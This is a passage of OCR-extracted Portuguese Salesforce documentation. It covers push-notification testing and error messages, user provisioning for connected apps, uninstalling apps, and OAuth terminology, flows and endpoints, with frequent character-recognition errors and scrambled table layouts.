b. Clique em Ir para gerar uma lista de todos os dispositivos registrados no momento sob o nome de usuario em questao.

2. Como opcdo, em Alerta, insira uma mensagem de alerta ou dicionario de acordo com as especificacdes da Apple.
3. Em Emblema, insira um nimero de emblema, ou 0 para indicar que ndo hd emblema.

4. Em Som, insira 0 nome de um arquivo de som no conjunto do aplicativo ou insira padrao para usar o som de alerta padrao do
sistema.

5. Como op¢ao, para usar uma carga personalizada, insira o valor de JSON da carga no campo Carga personalizada.

6. Clique em Enviar para enviar a notificacdo por push de teste ou clique em Apagar para redefinir o formuldrio.

CONSULTE TAMBEM:

Testando as notificagdes por push

Enviar nofificagdes por push de teste para o GCM para Android

Para executar um teste rapido da configuracdo da notificacéo por push para o Google Cloud Messaging for Android (GCM), use a pagina
Testar notificacdes por push.
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1. Insira uma string de token de conexao no campo Destinatario ou procure um destinatério clicando em Pesquisar %] e selecione
um dos resultados de pesquisa. Por padrdo, a lista Resultados da pesquisa mostra os cinco dispositivos registrados mais recentemente
no seu aplicativo conectado.

a. Paralocalizar outros dispositivos, insira um nome de usudrio na caixa de texto Pesquisar.

b. Clique em Ir para gerar uma lista de todos os dispositivos registrados no momento sob o nome de usuario em questao.

2. Em Carga, insira um valor de JSON que contém a sua mensagem.
3. Paraenviar a notificacdo por push somente para o servidor do GCM, selecione Operagao a seco.

4. Clique em Enviar para enviar a notificacao por push de teste ou clique em Apagar para redefinir o formulério.

CONSULTE TAMBEM:

Testando as notificacdes por push

Mensagens de erro de nofificagdes por push

Se vocé obtém uma mensagem de erro ao enviar uma notificacdo por push a partir da pagina Enviar notificacéo de teste, verifique a
tabela a sequir para ver sugestdes de como corrigir o erro.
Mensagem Resolucdo sugerida

O limite da taxa de push por dia referente a este aplicativo Como o limite didrio ndo é negocidvel, nao hé resolucdo disponivel.
conectado foi excedido

O certificado ndo € aceito pelo servico Apple Push Notification Substitua o certificado por um tipo viélido.

O certificado foi revogado Forneca um certificado vélido.

O certificado expirou Renove o certificado.

O certificado ainda ndo é vélido Tente novamente mais tarde.

Senha ou certificado invélido Substitua o certificado por um tipo vilido.
Carga ou destinatério invalido Procure erros na entrada.

A carga excede o tamanho méximo Reduza o tamanho da carga.

N&o foi possivel carregar as configuragées de notificacdes por push - Confirme se as configuragdes estao presentes no aplicativo
conectado.

O campo destinatario contém um token de dispositivo invélido  Forneca um token de dispositivo valido.

Comprimento do token de dispositivo invalido O token foi inserido incorretamente ou esta corrompido. Insira o
token novamente.

Erro ao enviar a notificacdo. Confirme se o certificado é o adequado  Confirme se o certificado correto esta sendo usado (por exemplo,
para o ambiente Apple correto. o de sandbox, e nao o de producao).

O servico Apple Push Notification ndo esté disponivel. Tente novamente mais tarde.
N&o foi possivel se conectar ao servico Apple Push Notification ~ Tente novamente mais tarde.

Néo foi possivel se conectar ao proxy do Salesforce. Se o problema  Tente novamente mais tarde.
continuar, entre em contato com o suporte do Salesforce.
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Mensagem

Solicitacdo bloqueada pelo proxy do Salesforce. Se o problema
continuar, entre em contato com o suporte do Salesforce.

O servico Apple Push Notification retornou um erro desconhecido
O emblema deve ser um nimero
A carga deve estar em um formato JSON vélido

E necessério inserir um valor referente a, pelo menos, um dos
campos a sequir: Alerta, Emblema, Som ou Carga personalizada

O destinatario é obrigatorio

Erro de autenticacao do Google Cloud Messaging

Erro interno do servidor do Google Cloud Messaging ou o servidor
esta temporariamente indisponivel

O ID de registro do campo Destinatario esta formatado
incorretamente

A carga excede o tamanho maximo

O campo Destinatario contém um ID de registro que ndo é valido
para a chave do servidor de APl do aplicativo conectado

O destinatario é obrigatério
O campo destinatario contém um ID de dispositivo invélido

O servidor do GCM retornou um erro inesperado. Entre em contato
com a equipe de suporte da SFDC.

Houve um erro inesperado. Entre em contato com a equipe de
suporte da SFDC.

CONSULTE TAMBEM:
Criando um Aplicativo conectado

Testando as notificacdes por push
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Resolucdo sugerida

Tente novamente mais tarde.

Entre em contato com a Apple ou tente novamente mais tarde.
Insira novamente o valor do emblema como um inteiro.
Formate a carga corretamente.

Insira um valor valido referente a um dos campos.

Forneca um token de dispositivo.

Consulte a documentacao do GCM em developer.android.com.
Possiveis causas:

e (O cabecalho da autorizagdo esta ausente ou contém uma
sintaxe invalida.

e Um numero de projeto invalido foi enviado como chave.
e Achave é vdlida, mas o servico do GCM esté desativado.

e Asolicitagdo se originou de um servidor que ndo estd na lista
aprovada nos enderecos IP de chave de servidor.

Tente novamente mais tarde.

Verifique se o aplicativo moével estd fornecendo um ID de registro
vélido ou insira um ID de registro vélido manualmente.

Reduza o tamanho da carga.

Forneca a chave de servidor correta para o aplicativo.

Selecione um destinatério ou forneca o ID de registro.
Atualize o ID de registro do dispositivo do destinatario.

Entre em contato com a salesforce.com.

Entre em contato com a salesforce.com.


https://developer.android.com
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Provisionamento de usudrios para aplicativos conectados

PERMISSOES DO USUARIO

Para ler: “Personalizar aplicativo”

Para criar, atualizar ou excluir: “Personalizar aplicativo” E
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

“Modificar todos os dados” OU “Gerenciar

aplicativos conectados”
Para atualizar todos os campos, com “Personalizar aplicativo”
excecdo de Perfis, Conjuntos de permissdes
e Atributos de SAML do provedor de
Servicos:

Para atualizar Perfis, Conjuntos de
permissodes e Atributos de SAML do provedor os dados”
de servicos:

Para desinstalar:
AppExchange”

“Personalizar aplicativo” E “Modificar fodos

“Fazer download de pacotes do

Aplicativos conectados
podem ser criados em:
Edicbes Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

Aplicativos conectados
podem ser instalados em:
todas as edicoes

Como administrador, use aplicativos conectados com provisionamento de usudrios para criar, atualizar e excluir contas de usuario em
aplicativos de terceiros, com base nos usuarios da sua organizacdo do Salesforce. Para seus usuérios do Salesforce, vocé pode configurar
criacao automatica de conta, atualizacdes e desativacdo para servicos como Google Apps e Box. E possivel também descobrir contas de
usuario existentes no sistema de terceiros e determinar se ja estao associadas a uma conta de usuario do Salesforce.

Os aplicativos conectados ligam seus usudrios a servicos e aplicativos de terceiros. O provisionamento de usudrios para aplicativos
conectados permite criar, atualizar e gerenciar contas de usudrio desses servicos e aplicativos. Esse recurso simplifica a criagdo de contas
em servicos como Google Apps e associa as contas dos usuarios do Salesforce as suas contas em outros sistemas. Depois de associar
essas contas, vocé pode configurar o Iniciador de aplicativos de modo que, quando clicarem no icone do aplicativo conectado no

Iniciador de aplicativos, os usudrios obtenham acesso imediato ao servico de destino.

O provisionamento de usudrios aplica-se apenas aos usuarios atribuidos a um perfil ou conjunto de permissées que lhes dé acesso ao
aplicativo conectado configurado. Por exemplo, vocé pode configurar o provisionamento de usudrios para um aplicativo conectado do
Google Apps na sua organizacdo. Em sequida, atribua o perfil "Funciondrios" a esse aplicativo conectado. Quando um novo usuério é
criado na sua organizagdo e o perfil "Funcionarios" é atribuido a ele, o usudrio é provisionado automaticamente no Google Apps. Além
disso, quando o usudrio é desativado ou a atribuicdo do perfil muda, o provisionamento é automaticamente cancelado no Google Apps.

O Salesforce oferece um assistente para guié-lo através das configuragdes de provisionamento de usuarios para cada aplicativo conectado.

Além disso, vocé pode executar relatérios para ver quem tem acesso a aplicativos de terceiros especificos, com uma visualizacéo

centralizada de todas as contas de usudrios em todos os aplicativos conectados.

Solicitagdes de provisionamento de usudrios

Depois que vocé configura o provisionamento de usuarios, o Salesforce gerencia as solicitacdes de atualizacdes no sistema de terceiros.
O Salesforce envia solicitacdes de provisionamento de usudrios para o sistema de terceiros com base em eventos especificos na sua
organizacao, através da Ul ou por meio de chamadas de API. A tabela a seguir mostra 0s eventos que acionam solicitagoes de

provisionamento de usuarios.
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Compromisso Operacdo Objeto
Criar usuario Criar Usuario
Atualizar usudrio (para atributos Atualizar Usudrio

selecionados)

Desativar usuario Desativar Usudrio

Ativar usuario Activate Usuério

Congelar usuario Congelar UserLogin

Descongelar usuario Descongelar UserLogin

Reativar usuario Reativar Usuario

Alterar perfil de usudrio Criar/desativar Usuério

Atribuir/cancelar atribuicdo de um conjunto  Criar/desativar PermissionSetAssignment

de permissdes a um usuario

Atribuir/cancelar a atribuicdo de um perfil ~ Criar/desativar SetupEntityAccess
ao aplicativo conectado

Atribuir/cancelar a atribui¢do de um Criar/desativar SetupEntityAccess
conjunto de permissdes ao aplicativo
conectado

O valor da operacao é armazenado no objeto UserProvisioningRequest. O Salesforce pode processar a solicitacdo imediatamente ou
aguardar o processo de aprovacao completo (caso vocé adicione um processo de aprovagdo durante as etapas do assistente de
Provisionamento de usuarios). Para processar a solicitacao, o Salesforce usa umfluxo do tipo Provisionamento de usudrios,
que inclui uma referéncia a classe UserProvisioningPlugin do Apex. O fluxo chama a APl do servico de terceiros para gerenciar o
provisionamento de contas de usuarios nesse sistema.

Se vocé quiser enviar solicitagdes de provisionamento de usudrios com base em eventos no Active Directory, use o Salesforce Identity
Connect para capturar esses eventos e sincroniza-los na organizacao do Salesforce. Em seguida, o Salesforce envia as solicitacdes de
provisionamento de usudrios para o sistema de terceiros para provisionar ou cancelar o provisionamento de usuarios.

Limitacoes

Habilitagoes
Os papéis e as permissdes do provedor de servicos ndo podem ser gerenciados ou armazenados na organizacdo do Salesforce.
Portanto, direitos especificos relativos a recursos no provedor de servi¢os ndo sdo incluidos quando um usuario solicita acesso a um
aplicativo de terceiros com provisionamento de usuarios ativado. E possivel criar uma conta de usuario de um provedor de servicos,
mas 0s demais papéis e permissoes relativos a conta devem ser gerenciados por meio do provedor.

Reconciliagao de conta agendada
Execute o assistente de Provisionamento de usuarios sempre que quiser coletar e analisar usudrios no sistema de terceiros. Nao é
possivel configurar um intervalo para coleta e analise automaticas.
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Recertificacdo de acesso
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Depois da criacao da conta do usuario, a validacdo do acesso do usuario aos recursos no provedor de servicos deve ser realizada no

provedor.

CONSULTE TAMBEM:

Configuracao do provisionamento de usudrios para aplicativos conectados

Criar provisionamento de usuarios para relatérios personalizados de aplicativos conectados

Viséo geral de aplicativos conectados

Configuragdo do provisionamento de usudrios para aplicativos conectados

PERMISSOES DO USUARIO

Para ler:

Para criar, atualizar ou excluir:

Para atualizar todos os campos, com
excecdo de Perfis, Conjuntos de permissdes
e Atributos de SAML do provedor de
Servicos:

Para atualizar Perfis, Conjuntos de
permissdes e Atributos de SAML do provedor
de servicos:

Para desinstalar:

“Personalizar aplicativo”

EDICOES

Disponivel em: Salesforce
P . e, Classic e Lightning

Personalizar aplicativo” E Experience
“Modificar todos os dados” OU “Gerenciar

aplicativos conectados” Aplicativos conectados

podem ser criados em:
Edicoes Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

“Personalizar aplicativo”

Aplicativos conectados
podem ser instalados em:
todas as edicoes

“Personalizar aplicativo” E “Modificar todos
os dados”

“Fazer download de pacotes do
AppExchange”

Configure um aplicativo conectado para poupar tempo ao provisionar usuarios para os aplicativos.

O Salesforce oferece um assistente passo a passo para as configuracdes de provisionamento de usuarios de cada aplicativo conectado.

Para usar o assistente, vocé precisa do seguinte:

Um aplicativo conectado para o servico de terceiros
Qualquer aplicativo conectado pode oferecer suporte ao provisionamento de usuarios, inclusive um aplicativo conectado de

"favoritos".

Credenciais nomeadas

As credenciais nomeadas identificam o sistema de terceiros e suas configuragdes de autenticacdo. As chamadas ao sistema de

terceiros para, por exemplo, criar, editar ou excluir contas usam as configuracdes de autenticacdo de terceiros na credencial nomeada.
Para a credencial nomeada, vocé especifica uma Entidade de seguranca nomeada, que pode ser uma conta no sistema de terceiros
ou uma autorizacdo do OAuth referente a um provedor de autenticacdo existente na sua organizagdo. O Assistente de provisionamento

de usudrios solicita essa credencial nomeada.

Um fluxo criado com o Flow Designer

Os fluxos gerenciam as solicitacdes de provisionamento para o sistema de terceiros. O Salesforce fornece varios pacotes que contém
fluxos pré-configurados para simplificar o processo de configuracao de provisionamento de usuarios (em brevel). Vocé associa um
desses fluxos ao aplicativo conectado usando o Assistente de provisionamento de usuarios.
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Além disso, vocé pode criar seu préprio fluxo. Para obter mais informagdes, consulte Criar seu préprio fluxo de provisionamento de
usudrios.

Se o provisionamento de usudrios estiver ativado, use as etapas a sequir para iniciar o Assistente de provisionamento de usuarios para
um aplicativo conectado existente.

1. Em Configuracao, insira Aplicativos conectados hacaixa Busca rapida e selecione a opcdo de gerenciamento de
aplicativos conectados.

Clique no nome do aplicativo conectado.

Na pé4gina de detalhes Aplicativo conectado, clique em Editar.

Na secao Configuraces de provisionamento de usudrios, selecione Ativar provisionamento de usuarios.

u oA W N

Cligue em Salvar.
Depois que vocé clica em Salvar, o Salesforce faz com que vocé retorne a pagina de detalhes do Aplicativo conectado. Para chegar

a pagina Detalhes do aplicativo conectado, em Configuracdo, insira Aplicativos conectados Nacaixa Busca réapida,
selecione a opcao de gerenciamento de aplicativos conectados e clique no nome do aplicativo conectado.

6. Na secdo Configuracdes de provisionamento de usudrios, clique em Iniciar Assistente de provisionamento de usuarios para
iniciar o assistente.

Depois que o Assistente de provisionamento de usuarios é concluido, vocé pode voltar a pagina de detalhes do Aplicativo conectado
(em Configuragéo, insira Aplicativos conectados nacaixa Busca réapida, selecione a opcdo para gerenciamento de
aplicativos conectados e clique no nome do aplicativo conectado) para editar as informacées de conta de usudrios individuais em
atualizagdes rapidas. Cada usuario é listado na pagina de detalhes do Aplicativo conectado, na se¢ao Contas de usudrio. Também é
possivel executar o assistente novamente para coletar e analisar as contas no sistema de terceiros, alterar a configuragao e processar
todas as contas.

Se vocé tiver adicionado um processo de aprovacao durante a execucao do Assistente de provisionamento de usuarios, 0 campo
Processo de aprovacao ¢ selecionado na pagina de detalhes.

Criar o seu préprio fluxo de provisionamento de usuarios

Se os fluxos empacotados ndo oferecem suporte ao sistema de terceiros que vocé deseja, ou para personalizar uma solugéo, crie o seu
préprio fluxo com a classe UserProvisioningPlugin do Apex e os objetos padrdo UserProvisioningRequest e UserProvAccount. Ao criar

0 seu préprio fluxo, salve-o com o tipo de fluxo Provisionamento de usudrios.Para criaroseu préprio fluxo, certifique-se
de estar familiarizado com a criacao de fluxos no Flow Designer e o desenvolvimento de acionadores do Apex. O fluxo precisa do sequinte:

e Um acionador do Apex que use a classe UserProvisioningPlugin
e Asseguintes varidveis de entrada e saida no fluxo.
— Entrada: User, UserProvisioningRequest, UserProvAccount
- Salda: ExternalUserId, ExternalUsername, ExternalFirstName, ExternallLastName, ExternalEmail,
Details, Status
e Pelo menos um plugin do Apex do fluxo deve ter os parametros de entrada e saida a seguir.

— Entrada: userProvisioningRequestId, userId, namedCredDevName, reconFilter, reconOffset
- Salda: ExternalUserId, ExternalUsername, ExternalFirstName, ExternallastName, ExternalEmail,

Details, Status, reconState, nextReconOffset

e Umelemento de pesquisa de registros Pesquisar usuéario para modificar durante a vinculacao de contas entre os usuarios
do Salesforce e os usudrios do sistema de terceiros.
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@ Nota: As credenciais nomeadas ndo funcionam com as chamadas da API SOAP. Se estiver implementando um fluxo personalizado
(ndo fornecido pelo Salesforce) para um sistema de terceiros usando a API SOAP, crie um espaco reservado nomeado credencial
para reservar o espago, para permitir que o assistente avance para a proxima etapa. No seu fluxo personalizado, use o plugin do
Apex para passar as credenciais usando os parametros de entrada provenientes do fluxo.

CONSULTE TAMBEM:
Provisionamento de usuarios para aplicativos conectados
Criando um Aplicativo conectado
https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode

Criar provisionamento de usuarios para relatérios personalizados de aplicativos conectados

Gerenciar solicitacées de provisionamento de usuadrios

PERMISSOES DO USUARIO EDICOES

Para ler: “Personalizar aplicativo” Disponivel em: Salesforce
p iar atuali lui P i licativo” E Classic e Lightning
ara criar, atualizar ou excluir: ersonalizar aplicativo Experience

“Modificar todos os dados” OU “Gerenciar

aplicativos conectados” Aplicativos conectados

podem ser criados em:
Edicdes Group,

Para atualizar todos os campos, com “Personalizar aplicativo” . .
excegdio de Perfis, Conjuntos de permissdes Professional, Enterprise,
e Afributos de SAML do provedor de Performance, Unlimited e
Servicos: Developer
Aplicativos conectados

Para atualizar Perfis, Conjuntos de “Personalizar aplicativo” E “Modificar todos P .

o ) ., podem ser instalados em:
permissdes e Afributos de SAML do provedor  os dados o

i todas as edicoes
de servicos:
Para desinstalar: “Fazer download de pacotes do
AppExchange”

Depois de configurar o provisionamento de usudrios para um aplicativo conectado, vocé pode gerenciar as configuragdes e aprovagoes
referentes ao provisionamento, cancelamento de provisionamento ou atualiza¢cdes de contas de usuarios individuais.

Use o seguinte para gerenciar solicitagdes individuais e contas de usuarios:

Guia Solicitacbes de provisionamento de usuarios

Na guia Solicitacdes de provisionamento de usuarios, é possivel exibir detalhes e gerenciar aprovacdes para uma solicitacao individual
de provisionamento de usuérios. Os detalhes da solicitacdo de provisionamento de usudrios incluem informacées sobre o status da
solicitacdo e o status de uma aprovacdo (caso necessario, e se estiver configurado).

Clique no valor do campo Nome de uma solicitacéo de provisionamento de usudrios recente para ver os detalhes, inclusive os citados
a sequir.

Operacao
A acéo referente a solicitacdo atual. Os possiveis valores sao apresentados a seguir.

® (Criar


https://developer.salesforce.com/docs/atlas.en-us.apexcode.meta/apexcode
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® Leitura

® Atualizar

® Desativar

® Activate

® Congelar

® Descongelar

e Reconciliar (comparaa conta do Salesforce com a conta no sistema de terceiros)

e vVinculacao (altera o estado de vinculagdo atual)

Estado
O valor Estado muda durante o processo de reconciliagao para coletar e comparar as contas de usuario no sistema de terceiros
com as contas de usuério do Salesforce. Normalmente, quando € criada inicialmente, uma solicitacdo de provisionamento de usudrios
tem o valor de Estado definido como Nowvo. Quando um processo de coleta comeca, 0 Estado muda para Coletando
até que o processo termine. Quando o processo termina, 0 Estado passa a ser Coletado.

Se um processo de andlise é acionado devido a uma diferenca entre as contas, 0 Estado muda para Analisando até queo
processo termine. Quando o processo termina, 0 Estado passa aser Analisado.Se um processo confirma a solicitagao com
base nas configuracdes de vinculagdo, 0 Estado muda para Confirmando e o Salesforce atualiza as propriedades da conta
de usuério conforme necessério. Quando essa atualizagao termina, 0 Estado muda para Concluido.

Entretanto, 0 Estado ndo comeca necessariamente como Novo. Se algum processo personalizado inicia uma solicitacdo para
reconciliar contas, uma entrada pode comegar com Analisando como seu Estado.

Além disso, 0 Estado de uma tarefa ativa ndo pode retroceder. Por exemplo, um processo que tem Analisando como
Estado e é bem-sucedido deve necessariamente progredir para Analisado, @ menos que o processo ativo falhe; nesse caso,
0 Estado mudapara Com falha.

Se vocé clicar no valor do campo Conta em Provisionamento de usuarios, verd detalhes sobre a conta de usudrio. Os campos a sequir
tém campos da lista de opcdes que descrevem o estado atual da conta de usuério.

Status
O status da conta no sistema de destino. Os valores validos sao:

® Ativo
® Desativado
® Excluido

Estado da vinculacao
O estado da conexao atual entre a conta de usudrio na organizacao do Salesforce e a conta de usudrio associada no sistema de
destino. Os valores vélidos sdo:

* vinculado — asalteracdes na conta na organizacdo do Salesforce estdo enfileiradas para serem atualizadas na conta de
usudrio associada no sistema de destino.

e duplicado — existe uma conta associada no sistema de destino.
e 4rfio — ndo hd nenhuma conta associada no sistema de destino.

® ignorado — as alteracbes na conta na organizagdo do Salesforce ndo tém efeito sobre a conta de usudrio associada no
sistema de destino.

Para editar esses valores, utilize a secdo Contas de usuario na pagina de detalhes de um aplicativo conectado.
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A secao Contas de usudrio da pagina de detalhes de um aplicativo conectado

A secdo Contas de usudrio na pagina de detalhes de um aplicativo conectado lista todas as contas descobertas e vinculadas ao servico
de terceiros. Use essa se¢ao para gerenciar o Estado da vinculagdo com a conta de terceiros e editar os detalhes armazenados na
configuracao da conta.

Normalmente, o Salesforce gerencia o Estado da vinculagdo com a conta no servico de terceiros. O Salesforce pode descobrir e associar
contas de usuario entre uma organizacao do Salesforce e um sistema de terceiros durante um processo de reconciliagao. A associagao
é baseada nos atributos especificados no assistente de Provisionamento de usuarios.

Selecione Permitir que eu gerencie a vinculagcao da conta somente se quiser controlar o Estado da vinculagao em vez de deixar que
o Salesforce faga isso por vocé.

O Estado da vinculacdo pode ter os valores a seguir.

Regras de compartilhamento de solicitacdes de provisionamento de usuarios

Se vocé adicionou processos de aprovacédo a configuragdo de provisionamento de usuarios, defina regras de compartilhamento para
que outras pessoas, CoOmo Outro Usuario ou um gerente, possam ver e aprovar uma solicitagao de provisionamento de usuarios.

Em Configuracdo, insira Configuracées de compartilhamento nacaixa Busca rapida e selecione Configuracoes
de compartilhamento.

CONSULTE TAMBEM:
Provisionamento de usuarios para aplicativos conectados

Configuracao do provisionamento de usudrios para aplicativos conectados

Criar provisionamento de usudrios para relatorios personalizados de aplicativos conectados

Organizagdes com provisionamento de usudrios em aplicativos conectados podem executar EDlCC)ES
relatérios que mostram contas, solicitagdes e outras informacdes sobre provisionamento, usando
tipos de relatério personalizados.

Disponivel em: Salesforce

1. Familiarize-se com os tipos de relatério personalizados e as etapas gerais para cria-los e Classic
manté-los. . , -
Disponivel em: Edicoes
2. (Crie tipos de relatério personalizados relacionando esses objetos e configurando-os conforme Enterprise, Performance,
anecessidade. Disponibilize todos os campos para relatérios. Adicione cada relatério a categoria Unlimited e Developer

de tipo de relatério Provisionamento de usudrios. D& um nome e uma descri¢ao que sejam
claros para cada tipo de relatério, para que os usuarios que criam relatérios possam saber qual

eles devem usar para suprir suas necessidades PERMISSOES DO
para st | USUARIO
Objeto principal Descricdo Para criar ou atualizar tipos
Contas de provisionamento de usuarios Contém informagbes que associam uma conta de relatdrios

personalizados:

de usudrio do Salesforce a uma conta em um Y L
e “"Gerenciar fipos de

sistema de terceiros (destino), como o Google,

relatorios
para usudrios de aplicativos conectados com personalizados”
provisionamento de usudrios do Salesforce -
, Para excluir tipos de
ativado. relatérios personalizados:
Logs de provisionamento de usudrios Contém mensagens geradas durante o ¢ "Modificar todos os

processo de provisionamento de usuarios para dados

aplicativos de terceiros.
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Obijeto principal

Destinos simulados de provisionamento de usuarios

Solicitagbes de provisionamento de usuarios

CONSULTE TAMBEM:

Provisionamento de usuarios para aplicativos conectados

Desinstalando um Aplicativo conectado
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Descri¢do

Contém dados de usudrios para testar antes de confirmar os
dados em um sistema de terceiros para provisionamento de
Usuarios.

Contém informagdes sobre solicitagdes de provisionamento
individuais dos usuarios.

PERMISSOES DO USUARIO EDICOES

Para ler: “Personalizar aplicativo” Disponivel em: Salesforce
) i luir- Y i licativo® Classic e Lightning

Para criar, atualizar ou excluir: Personalizar aplicativo” E Experience

“Modificar todos os dados” OU “Gerenciar

aplicativos conectados”

Para atualizar todos os campos, com “Personalizar aplicativo”

excecdo de Perfis, Conjuntos de permissdes
e Afributos de SAML do provedor de
Servicos:

Para atualizar Perfis, Conjuntos de “Personalizar aplicativo” E “Modificar todos
permissodes e Afributos de SAML do provedor  os dados”

de servicos:

Aplicativos conectados
podem ser criados em:
Edicdes Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

Aplicativos conectados
podem ser instalados em:
todas as edicoes

Para desinstalar: “Fazer download de pacotes do

AppExchange”

Para remover um aplicativo conectado da sua organizacao, desinstale o pacote do qual o aplicativo faz parte.

@ Nota: Quando um aplicativo conectado é desinstalado, as chaves de acesso e de atualizacao de todos os usuarios do aplicativo
sdo removidas. Isso impede que um usudrio execute o aplicativo mais tarde, usando uma chave de acesso existente, sem aprovar

explicitamente o aplicativo ele mesmo.
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Aplicativo conectado e terminologia OAuth

Chave de acesso EDICOES
Um valor usado pelo consumidor para obter acesso aos recursos protegidos em nome do
usuario, em vez de usar as credenciais do Salesforce do usuario.

Disponivel em: Salesforce
No OAuth 1.0.A, a chave de acesso deve ser trocada por um ID de sessdo. Classic

Para 0 OAuth 2.0, a chave de acesso é um ID de sessdo e pode ser usada diretamente. Disponivel em: todas as
edicoes

Cédigo de autorizacdo
Usado somente no OAuth 2.0 com o fluxo de servidor da Web. Uma chave de vida curta que

representa o acesso concedido pelo usudrio final. O cédigo de autorizacdo é usado para obter PERMISSOES DO
uma chave de acesso e uma chave de atualizacdo. Para o OAuth 1.0.A, consulte USUARIO
ChaveDeSolicitagao.

URL de callback Para gerenciar, criar, editar

e excluir aplicativos OAuth:

e “Gerenciar aplicativos
conectados”

Um URL associado ao aplicativo do seu cliente. Em alguns contextos, deve ser um URL real para
o qual o navegador da Web do cliente é redirecionado. Em outros contextos, o URL ndo é usado.
No entanto, o valor deve ser o mesmo entre o aplicativo do cliente e o servidor (a definicao do
aplicativo conectado). Por exemplo, vocé pode usar um valor que identifique o aplicativo, como
http://MyCompany.Myapp.

Consumidor
Um site ou aplicativo que usa OAuth para autenticar o usudrio do Salesforce e também o aplicativo em nome do usuério.

Chave do consumidor
Um valor usado pelo consumidor para se identificar ao Salesforce. Chamado de client id em OAuth 2.0.

Segredo do consumidor
Um segredo usado pelo consumidor para estabelecer a propriedade da chave do consumidor. Chamado de client secret
em OAuth 2.0.

Nonce
Um nudmero, frequentemente um ndmero aleatério, usado durante a autenticagdo para garantir que as solicitagbes ndo possam ser
usadas novamente.

Chave de atualizacdo
Usado apenas no OAuth 2.0. Uma chave usada pelo consumidor para obter uma nova chave de acesso, sem precisar que o usuario
aprove 0 acesso novamente.

Chave de solicitacao
Um valor usado pelo consumidor para obter autorizacao do usudrio e trocado por uma chave de acesso. Chaves de solicitacdo s6
sdo usadas no OAuth 1.0.A. Para o OAuth 2.0, consulte Codigo de autorizacao.

Provedor de servigos
Um aplicativo da web que permite o acesso usando o OAuth. Esta é sua instancia do Salesforce apds a ativagao do acesso remoto.

Segredo da chave
Um segredo usado pelo consumidor para estabelecer propriedade de uma determinada chave, para chaves de solicitagao e chaves
de acesso.

Usuario
Uma pessoa que tem um login do Salesforce.

CONSULTE TAMBEM:

Autenticando aplicativos com o OAuth
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Autenticacdo de aplicativos

Autenticando aplicativos com o OAuth

Quando um usudrio solicita seus dados do Salesforce por meio do aplicativo externo (a pagina do EDICOES
consumidor), ele deve ser autenticado pelo Salesforce. Existem diversas etapas em cada fluxo de
autenticacao, conforme determinado pelo padrao OAuth e qual esta tentando acessar o Salesforce.

Disponivel em: Salesforce

O Salesforce é compativel com fluxos de autenticagdo do OAuth versdes 1.0A e 2.0. Classic
e OAuth 1.0.A—Esta versao do OAuth possui apenas um fluxo. Disponivel em: todas as
e Servidorda Web OAuth 2.0—O fluxo de autenticacdo do servidor da Web é usado por aplicativos edicoes
que sdo armazenados em um servidor seguro. Um aspecto critico do fluxo do servidor da Web
é que o servidor deve conseguir proteger o segredo do consumidor. Vocé também pode usar PERMISSOES DO
desafio de cédigo e valores de verificador no fluxo para evitar a interceptacao do cédigo de USUARIO
autorizagao.
 Agente do usuario OAuth 2.0—O fluxo de autenticacdo de agentes do usuario é usado por Para gerenciar, criar, editar
aplicativos de clientes (consumidores) que residem no dispositivo do usuério. Isso pode ser e excluir aplicativos OAuth:

e “Gerenciar aplicativos
conectados”

implementado em um navegador usando uma linguagem de script, como JavaScript ou a partir
de um dispositivo mével ou um aplicativo de desktop. Esses consumidores ndo podem manter
o0 segredo do cliente confidencial.

e Fluxo do token de atualizacao do OAuth 2.0: depois que o consumidor é autorizado a acessar, ele pode usar um token de atualizacao
para obter um novo token de acesso (ID de sesséo). Isso s6 é feito depois que o consumidor ja tiver recebido uma chave de atualizacao
usando o servidor da Web ou o fluxo de agentes do usuario.

e O fluxo de token portador JWT de OAuth 2.0 — O fluxo de token portador JWT de OAuth 2.0 define como um JWT pode ser usado
para solicitar um token de acesso OAuth do Salesforce quando um cliente deseja usar uma autorizacao anterior. A autenticacao do
aplicativo autorizado é fornecida por uma assinatura digital aplicada ao JWT.

e Fluxo de declaracdo portadora SAML de OAuth 2.0 — Um fluxo de declaracéo portadora SAML de OAuth 2.0 define como uma
declaracao SAML pode ser usada para solicitar um token de acesso OAuth quando um cliente desejar usar uma autorizagao anterior.
A autenticacao do aplicativo autorizado é fornecida pela assinatura digital aplicada a declaragao SAML.

e Fluxo de declaracao SAML — O fluxo de declaracdo SAML é uma alternativa para as organizagdes que no momento estdo usando
SAML para acessar o Salesforce e querem acessar a AP de servicos da Web da mesma forma. O fluxo de asser¢des de SAML s6 pode
ser usado em uma Unica organizacao. Nao é necessario criar um aplicativo conectado para usar esse fluxo de declaraces.

e Nome de usudrio e senha do OAuth 2.0 — O fluxo de autenticagéo de senhas do nome de usuario pode ser usado para autenticar
quando o consumidor ja tiver as credenciais do usuério.

O Cuidado: Este fluxo de autenticacdo OAuth envolve passar as credenciais do usudrio para frente e para tras. Use esse fluxo
de autenticacdo apenas quando necessario. Nao serd emitido um token de atualizagéo.

Para todos os fluxos de autenticacéo, se o usuario for solicitado a autorizar o acesso e, em vez disso, clicar no link indicando que néo é
0 usudrio conectado, o usuario atual serd desconectado e o fluxo de autorizacao reiniciara a autenticacdo do usudrio.

@ Nota: Os usuérios podem autorizar um aplicativo para acessar o Salesforce mais de uma vez, por exemplo, para um laptop e um
desktop. O limite padrao é de cinco autorizagcdes por aplicativo para cada usudrio. Se um usuario tentar conceder acesso a um
aplicativo acima do limite da organizacao, o token de acesso desse aplicativo ha mais tempo sem uso serd revogado. Os aplicativos
mais recentes (usando o protocolo OAuth 2.0) que usam o fluxo de servidor da Web sao aprovados automaticamente para
dispositivos adicionais depois que 0 acesso ao usudrio é concedido uma vez. O fluxo de agentes do usuario requer a aprovacgéo
do usuério todas as vezes.
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Pontos finais OAuth 2.0

Os trés pontos finais principais usados com o OAuth 2.0 sé&o:

e Autorizagdo—https://login.salesforce.com/services/oauth2/authorize
e (have—https://login.salesforce.com/services/oauth2/token

e Revogar—https://login.salesforce.com/services/oauth2/revoke
Consulte Revogando tokens OAuth na pagina 227 para obter detalhes sobre a revogagdo de acesso.

Para 0 sandbox, use test.salesforce.com emvezde login.salesforce.com.

Fluxo de autenticacdo OAuth 1.0.A

As descricdes de etapa individual estao a seguir. O OAuth 1.0.A possui um unico fluxo de EDICOES
autenticagao.
